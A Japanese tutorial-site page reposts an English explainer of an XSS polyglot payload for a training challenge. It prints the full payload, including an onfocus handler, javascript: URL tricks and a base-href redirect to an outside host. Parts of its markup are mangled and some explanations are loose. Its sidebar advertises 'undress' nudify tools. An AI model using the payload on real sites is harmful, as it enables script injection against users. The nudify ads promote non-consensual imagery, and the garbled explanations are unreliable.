ホームページ ウェブフロントエンド jsチュートリアル Polyglot はトレーニング XSS マッスル チャレンジのほとんどを解決します

Polyglot はトレーニング XSS マッスル チャレンジのほとんどを解決します

Sep 14, 2024 am 10:32 AM

Polyglot solve most of Training XSS Muscles Challenge

JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

Core Idea:
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the alert() function, in a variety of ways.

Top-Level Concepts:
Polyglot Basics:
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.
Polyglot Sections:
JavaScript Execution with Optional Chaining:

JavaScript://%250Aalert?.(1)//

The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.
alert?.(1) is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().
// terminates the rest of the payload as a comment to avoid errors.
HTML Tag Breakouts:

</Title/</Style/</Script/</textArea/</iFrame/</noScript>

This section attempts to break out of various HTML tags like , <style>, <script>, <textarea>, and others.<br> It ends the tags early (</...>) so that JavaScript can be executed right after the tag, bypassing filtering or restrictions based on tag contexts.<br> It’s compact since it doesn’t close each tag properly; just one closing symbol (>) suffices for all.<br> Quote Breakouts:<br> </p> <pre class="brush:php;toolbar:false">/*'/*\'/*"/*\"/*\/%26apos;)/<!-->` </pre> <p>This section handles breaking out of quote contexts (", ', `). It uses JavaScript comments(/.../) to inject and terminate multiline comment blocks that might be initiated by filters.<br> /<em>...</em>/ is useful for multiline comments and ignoring filter checks.<br> %26apos;) is an HTML entity escape code for ', used to break out of attributes or string contexts that use HTML entities for sanitization.<br> Event Handler and Execution:</p> <p>`<br> \74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//><br> `<br> \74k<K is a trick to insert an arbitrary tag where \74 is the octal representation of <. This works to bypass filters that sanitize < by converting it into an octal entity.<br> K is an arbitrary tag (can be any character) with the attributes contentEditable, autoFocus, and OnFocus.<br> The OnFocus=/**/{(alert)(1)} ensures that when the element gains focus, it executes the alert(1) function.<br> Advanced Evasion Techniques:</p> <p>`<br> <Base/Href=//X55.is\76--><br> `<br> <Base> is used for CSP bypass. If the base URL is set to a malicious domain like //X55.is, relative URL references to scripts or assets can trigger cross-origin requests, executing external malicious scripts.<br> /76 is the octal code for >, and it's used to properly close the tag while bypassing filters that escape < and >. This is part of the trick where octal escapes are converted back into characters.<br> HTML Comment Insertion:</p> <p><!--> is a simple HTML comment injection that ends any HTML comment block started by a filter, allowing the payload to escape the context.<br> Polyglot Logic:<br> Bypassing HTML Filters: The polyglot uses tag closings, quote breakouts, and event handlers to escape multiple HTML tags and execute JavaScript in different contexts.<br> Bypassing JavaScript Filters: Through commenting techniques (/<em>...</em>/, //) and quote escapes, it handles multiline scripts and prevents syntax errors.<br> Filter Evasion: By using HTML entities, optional chaining, and octal escapes, it bypasses common sanitization filters and CSP rules.<br> Mind Map Summary:<br> Polyglot Core:<br> JavaScript Execution (alert?.(1))<br> HTML Context Breakouts ()<br> JavaScript String Injection:<br> Escape Quotes (/<em>'/</em>\'/<em>"/</em>)<br> Inline Comments and Multiline Escapes (//, /<em>...</em>/)<br> HTML Tag Evasion:<br> Tag Close Breakouts ()<br> Arbitrary Tag Injection with Event Handler ()<br> Advanced Tricks:<br> Octal Encoding for < and > (\74 and \76)<br> CSP Bypass using and external URL (Base/Href=//X55.is)<br> Final Injection:</p> <blockquote> <p>Mixed context polyglot triggering across multiple browsers and scenarios.<br> This polyglot is highly effective in breaking out of multiple contexts, evading JavaScript string handling and HTML tag closures, and executing in both</p> </blockquote> <p>以上がPolyglot はトレーニング XSS マッスル チャレンジのほとんどを解決しますの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。</p> </div> </div> <div class="wzconShengming_sp"> <div class="bzsmdiv_sp">このウェブサイトの声明</div> <div>この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。</div> </div> </div> <div class="AI_ToolDetails_main4sR"> <!-- <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>人気の記事</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/1796898400.html" title="Bing Homepageクイズと勝利のプレイ方法(クイックガイド)" class="phpgenera_Details_mainR4_bottom_title">Bing Homepageクイズと勝利のプレイ方法(クイックガイド)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>2週間前</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/1796891173.html" title="2025年9月のイーサリアム価格予測:ETHは5,000ドルのマークを突破できますか?" class="phpgenera_Details_mainR4_bottom_title">2025年9月のイーサリアム価格予測:ETHは5,000ドルのマークを突破できますか?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3週間前</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/1796891166.html" title="大規模なプレーヤーによって公開されているXPLコインは、発売時に1米ドルを超えることができますか?" class="phpgenera_Details_mainR4_bottom_title">大規模なプレーヤーによって公開されているXPLコインは、発売時に1米ドルを超えることができますか?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3週間前</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/1796888806.html" title="トランプの暗号通貨とは何ですか?トランプの主要な暗号通貨とプロジェクトの紹介(2025)" class="phpgenera_Details_mainR4_bottom_title">トランプの暗号通貨とは何ですか?トランプの主要な暗号通貨とプロジェクトの紹介(2025)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4週間前</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/1796903591.html" title="Windows11と10でヘルプを取得する方法(クイックガイド)" class="phpgenera_Details_mainR4_bottom_title">Windows11と10でヘルプを取得する方法(クイックガイド)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>1週間前</span> <span>By DDD</span> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/ja/article.html">もっと見る</a> </div> </div> </div> --> <div class="phpgenera_Details_mainR3"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hottools2.png" alt="" /> <h2>ホットAIツール</h2> </div> <div class="phpgenera_Details_mainR3_bottom"> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ja/ai/undress-ai-tool" title="Undress AI Tool" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173410641626608.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Undress AI Tool" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ja/ai/undress-ai-tool" title="Undress AI Tool" class="phpmain_tab2_mids_title"> <h3>Undress AI Tool</h3> </a> <p>脱衣画像を無料で</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ja/ai/undresserai-undress" title="Undresser.AI Undress" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411540686492.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Undresser.AI Undress" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ja/ai/undresserai-undress" title="Undresser.AI Undress" class="phpmain_tab2_mids_title"> <h3>Undresser.AI Undress</h3> </a> <p>リアルなヌード写真を作成する AI 搭載アプリ</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ja/ai/ai-clothes-remover" title="AI Clothes Remover" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411552797167.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="AI Clothes Remover" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ja/ai/ai-clothes-remover" title="AI Clothes Remover" class="phpmain_tab2_mids_title"> <h3>AI Clothes Remover</h3> </a> <p>写真から衣服を削除するオンライン AI ツール。</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ja/ai/artgpt" title="ArtGPT" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173397491055212.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="ArtGPT" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ja/ai/artgpt" title="ArtGPT" class="phpmain_tab2_mids_title"> <h3>ArtGPT</h3> </a> <p></p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ja/ai/stock-market-gpt" title="Stock Market GPT" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173418760225266.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Stock Market GPT" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ja/ai/stock-market-gpt" title="Stock Market GPT" class="phpmain_tab2_mids_title"> <h3>Stock Market GPT</h3> </a> <p>AIを活用した投資調査により賢明な意思決定を実現</p> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/ja/ai">もっと見る</a> </div> </div> </div> <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>人気の記事</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/1796898400.html" title="Bing Homepageクイズと勝利のプレイ方法(クイックガイド)" class="phpgenera_Details_mainR4_bottom_title">Bing Homepageクイズと勝利のプレイ方法(クイックガイド)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>2週間前</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/1796891173.html" title="2025年9月のイーサリアム価格予測:ETHは5,000ドルのマークを突破できますか?" class="phpgenera_Details_mainR4_bottom_title">2025年9月のイーサリアム価格予測:ETHは5,000ドルのマークを突破できますか?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3週間前</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/1796891166.html" title="大規模なプレーヤーによって公開されているXPLコインは、発売時に1米ドルを超えることができますか?" class="phpgenera_Details_mainR4_bottom_title">大規模なプレーヤーによって公開されているXPLコインは、発売時に1米ドルを超えることができますか?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3週間前</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/1796888806.html" title="トランプの暗号通貨とは何ですか?トランプの主要な暗号通貨とプロジェクトの紹介(2025)" class="phpgenera_Details_mainR4_bottom_title">トランプの暗号通貨とは何ですか?トランプの主要な暗号通貨とプロジェクトの紹介(2025)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4週間前</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/1796903591.html" title="Windows11と10でヘルプを取得する方法(クイックガイド)" class="phpgenera_Details_mainR4_bottom_title">Windows11と10でヘルプを取得する方法(クイックガイド)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>1週間前</span> <span>By DDD</span> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/ja/article.html">もっと見る</a> </div> </div> </div> <div class="phpgenera_Details_mainR3"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hottools2.png" alt="" /> <h2>ホットツール</h2> </div> <div class="phpgenera_Details_mainR3_bottom"> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ja/toolset/development-tools/92" title="メモ帳++7.3.1" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab96f0f39f7357.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="メモ帳++7.3.1" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ja/toolset/development-tools/92" title="メモ帳++7.3.1" class="phpmain_tab2_mids_title"> <h3>メモ帳++7.3.1</h3> </a> <p>使いやすく無料のコードエディター</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ja/toolset/development-tools/93" title="SublimeText3 中国語版" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab97a3baad9677.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="SublimeText3 中国語版" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ja/toolset/development-tools/93" title="SublimeText3 中国語版" class="phpmain_tab2_mids_title"> <h3>SublimeText3 中国語版</h3> </a> <p>中国語版、とても使いやすい</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ja/toolset/development-tools/121" title="ゼンドスタジオ 13.0.1" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab97ecd1ab2670.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="ゼンドスタジオ 13.0.1" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ja/toolset/development-tools/121" title="ゼンドスタジオ 13.0.1" class="phpmain_tab2_mids_title"> <h3>ゼンドスタジオ 13.0.1</h3> </a> <p>強力な PHP 統合開発環境</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ja/toolset/development-tools/469" title="ドリームウィーバー CS6" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58d0e0fc74683535.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="ドリームウィーバー CS6" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ja/toolset/development-tools/469" title="ドリームウィーバー CS6" class="phpmain_tab2_mids_title"> <h3>ドリームウィーバー CS6</h3> </a> <p>ビジュアル Web 開発ツール</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ja/toolset/development-tools/500" title="SublimeText3 Mac版" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58d34035e2757995.png?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="SublimeText3 Mac版" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ja/toolset/development-tools/500" title="SublimeText3 Mac版" class="phpmain_tab2_mids_title"> <h3>SublimeText3 Mac版</h3> </a> <p>神レベルのコード編集ソフト(SublimeText3)</p> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/ja/ai">もっと見る</a> </div> </div> </div> <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>ホットトピック</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/php-tutorial" title="PHP チュートリアル" class="phpgenera_Details_mainR4_bottom_title">PHP チュートリアル</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1679</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>276</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ja/faq/newyorktimesdailybrief" title="NYTの接続はヒントと回答です" class="phpgenera_Details_mainR4_bottom_title">NYTの接続はヒントと回答です</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>325</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>836</span> </div> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/ja/faq/zt">もっと見る</a> </div> </div> </div> </div> </div> <div class="Article_Details_main2"> <div class="phpgenera_Details_mainL4"> <div class="phpmain1_2_top"> <a href="javascript:void(0);" class="phpmain1_2_top_title">Related knowledge<img src="/static/imghw/index2_title2.png" alt="" /></a> </div> <div class="phpgenera_Details_mainL4_info"> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ja/faq/1796898994.html" title="JavaScriptは、クリックスルーイメージの切り替え効果を実現します:プロフェッショナルチュートリアル" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175817178343005.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="JavaScriptは、クリックスルーイメージの切り替え効果を実現します:プロフェッショナルチュートリアル" /> </a> <a href="//m.sbmmt.com/ja/faq/1796898994.html" title="JavaScriptは、クリックスルーイメージの切り替え効果を実現します:プロフェッショナルチュートリアル" class="phphistorical_Version2_mids_title">JavaScriptは、クリックスルーイメージの切り替え効果を実現します:プロフェッショナルチュートリアル</a> <span class="Articlelist_txts_time">Sep 18, 2025 pm 01:03 PM</span> <p class="Articlelist_txts_p">この記事では、JavaScriptを使用して画像をクリックする効果を実現する方法を紹介します。コアのアイデアは、HTML5のデータ - *属性を使用して、代替画像パスを保存し、JavaScriptを介してクリックイベントをリッスンし、SRC属性を動的に切り替えて、画像の切り替えを実現することです。この記事では、詳細なコードの例と説明を提供して、この一般的に使用されるインタラクティブ効果を理解し、習得するのに役立ちます。</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ja/faq/1796887739.html" title="JavaScriptのオブジェクトプロパティを更新する方法" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175693308174056.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="JavaScriptのオブジェクトプロパティを更新する方法" /> </a> <a href="//m.sbmmt.com/ja/faq/1796887739.html" title="JavaScriptのオブジェクトプロパティを更新する方法" class="phphistorical_Version2_mids_title">JavaScriptのオブジェクトプロパティを更新する方法</a> <span class="Articlelist_txts_time">Sep 04, 2025 am 04:58 AM</span> <p class="Articlelist_txts_p">UsedOtnotationToupDatePropertiesWithNames; 2.UseBracketNotationFordyNamicorspecialCharacterPropertynames; 3.useobject.Assign()toupDatemultiplePropertiSorieSorgeObjects、NotingitmutateThateThateThateThateThateThateOoriginalunllassemptyObjumpution;</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ja/faq/1796901224.html" title="JavaScriptでGeolocation APIを使用してユーザーの位置を取得するにはどうすればよいですか?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175840674132651.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="JavaScriptでGeolocation APIを使用してユーザーの位置を取得するにはどうすればよいですか?" /> </a> <a href="//m.sbmmt.com/ja/faq/1796901224.html" title="JavaScriptでGeolocation APIを使用してユーザーの位置を取得するにはどうすればよいですか?" class="phphistorical_Version2_mids_title">JavaScriptでGeolocation APIを使用してユーザーの位置を取得するにはどうすればよいですか?</a> <span class="Articlelist_txts_time">Sep 21, 2025 am 06:19 AM</span> <p class="Articlelist_txts_p">まず、ブラウザがGeolocationapiをサポートしているかどうかを確認します。サポートされている場合は、getCurrentPosition()を呼び出してユーザーの現在の位置座標を取得し、成功したコールバックを通じて緯度と経度の値を取得します。同時に、拒否許可、場所の利用不能、タイムアウトなどのエラーコールバック処理の例外を提供します。また、高精度を有効にするために構成オプションを渡し、タイムアウト時間とキャッシュの妥当性期間を設定することもできます。プロセス全体には、ユーザー承認と対応するエラー処理が必要です。</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ja/faq/1796897302.html" title="javascriptでの数字のフォーマット:tofixed()メソッドを使用して、固定小数点以下の場所を保持します" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175799502277184.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="javascriptでの数字のフォーマット:tofixed()メソッドを使用して、固定小数点以下の場所を保持します" /> </a> <a href="//m.sbmmt.com/ja/faq/1796897302.html" title="javascriptでの数字のフォーマット:tofixed()メソッドを使用して、固定小数点以下の場所を保持します" class="phphistorical_Version2_mids_title">javascriptでの数字のフォーマット:tofixed()メソッドを使用して、固定小数点以下の場所を保持します</a> <span class="Articlelist_txts_time">Sep 16, 2025 am 11:57 AM</span> <p class="Articlelist_txts_p">このチュートリアルでは、JavaScriptに固定された2つの小数を持つ文字列に数値をフォーマットする方法を詳細に説明します。整数でさえ「#.00」の形で表示できます。 number.prototype.tofixed()メソッドの使用に焦点を当てます。これには、その構文、機能、サンプルコード、およびそのリターンタイプが常に文字列であるなどの重要なポイントが含まれます。</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ja/faq/1796901180.html" title="javascriptでsetintervalで繰り返し間隔を作成する方法" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175840386174330.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="javascriptでsetintervalで繰り返し間隔を作成する方法" /> </a> <a href="//m.sbmmt.com/ja/faq/1796901180.html" title="javascriptでsetintervalで繰り返し間隔を作成する方法" class="phphistorical_Version2_mids_title">javascriptでsetintervalで繰り返し間隔を作成する方法</a> <span class="Articlelist_txts_time">Sep 21, 2025 am 05:31 AM</span> <p class="Articlelist_txts_p">JavaScriptに繰り返し間隔を作成するには、SetInterval()関数を使用する必要があります。これは、指定されたミリ秒間隔で関数またはコードブロックを繰り返し実行する必要があります。たとえば、setinterval(()=> {console.log( "2秒ごとに実行");}、2000)は、clearinterval(intervalid)によってクリアされるまで2秒ごとにメッセージを出力します。実際のアプリケーションでは、クロック、投票サーバーなどを更新するために使用できますが、最小遅延制限と機能実行時間の影響に注意を払い、メモリの漏れを避けるために不要になった時間の間隔をクリアします。特にコンポーネントのアンインストールまたはページの閉鎖の前に、それを確認してください</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ja/faq/1796898655.html" title="JavaScriptのクリップボードにテキストをコピーする方法は?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175813860178300.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="JavaScriptのクリップボードにテキストをコピーする方法は?" /> </a> <a href="//m.sbmmt.com/ja/faq/1796898655.html" title="JavaScriptのクリップボードにテキストをコピーする方法は?" class="phphistorical_Version2_mids_title">JavaScriptのクリップボードにテキストをコピーする方法は?</a> <span class="Articlelist_txts_time">Sep 18, 2025 am 03:50 AM</span> <p class="Articlelist_txts_p">ClipboardapiのWriteTextメソッドを使用してテキストをクリップボードにコピーします。セキュリティコンテキストとユーザーインタラクションで呼び出され、最新のブラウザーをサポートし、古いバージョンをExecCommandで格下げできます。</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ja/faq/1796900355.html" title="JavaScriptでマルチライン文字列を作成する方法は?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175831986124469.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="JavaScriptでマルチライン文字列を作成する方法は?" /> </a> <a href="//m.sbmmt.com/ja/faq/1796900355.html" title="JavaScriptでマルチライン文字列を作成する方法は?" class="phphistorical_Version2_mids_title">JavaScriptでマルチライン文字列を作成する方法は?</a> <span class="Articlelist_txts_time">Sep 20, 2025 am 06:11 AM</span> <p class="Articlelist_txts_p">thebestatatororeAteamulti-linestringinjavascriptsisingsisingSemplatalalswithbackticks、whitherverebreakenexactlyaswritten。</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ja/faq/1796896485.html" title="JavaScriptのDOM要素アクセスのための一般的な落とし穴とソリューション" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175791384294867.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="JavaScriptのDOM要素アクセスのための一般的な落とし穴とソリューション" /> </a> <a href="//m.sbmmt.com/ja/faq/1796896485.html" title="JavaScriptのDOM要素アクセスのための一般的な落とし穴とソリューション" class="phphistorical_Version2_mids_title">JavaScriptのDOM要素アクセスのための一般的な落とし穴とソリューション</a> <span class="Articlelist_txts_time">Sep 15, 2025 pm 01:24 PM</span> <p class="Articlelist_txts_p">この記事の目的は、javascriptのdocument.getElementbyid()を介してDOM要素を取得するときにnullを返す問題を解決することを目的としています。コアは、スクリプトの実行タイミングとDOM解析ステータスを理解することです。タグを正しく配置するか、DomContentLoadedイベントを使用することにより、要素が利用可能なときに再び試行され、そのようなエラーを効果的に回避することができます。</p> </div> </div> <a href="//m.sbmmt.com/ja/web-designer.html" class="phpgenera_Details_mainL4_botton"> <span>See all articles</span> <img src="/static/imghw/down_right.png" alt="" /> </a> </div> </div> </div> </main> <footer> <div class="footer"> <div class="footertop"> <img src="/static/imghw/logo.png" alt=""> <p>福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!</p> </div> <div class="footermid"> <a href="//m.sbmmt.com/ja/about/us.html">私たちについて</a> <a href="//m.sbmmt.com/ja/about/disclaimer.html">免責事項</a> <a href="//m.sbmmt.com/ja/update/article_0_1.html">Sitemap</a> </div> <div class="footerbottom"> <p> © php.cn All rights reserved </p> </div> </div> </footer> <input type="hidden" id="verifycode" value="/captcha.html"> <script>layui.use(['element', 'carousel'], function () {var element = layui.element;$ = layui.jquery;var carousel = layui.carousel;carousel.render({elem: '#test1', width: '100%', height: '330px', arrow: 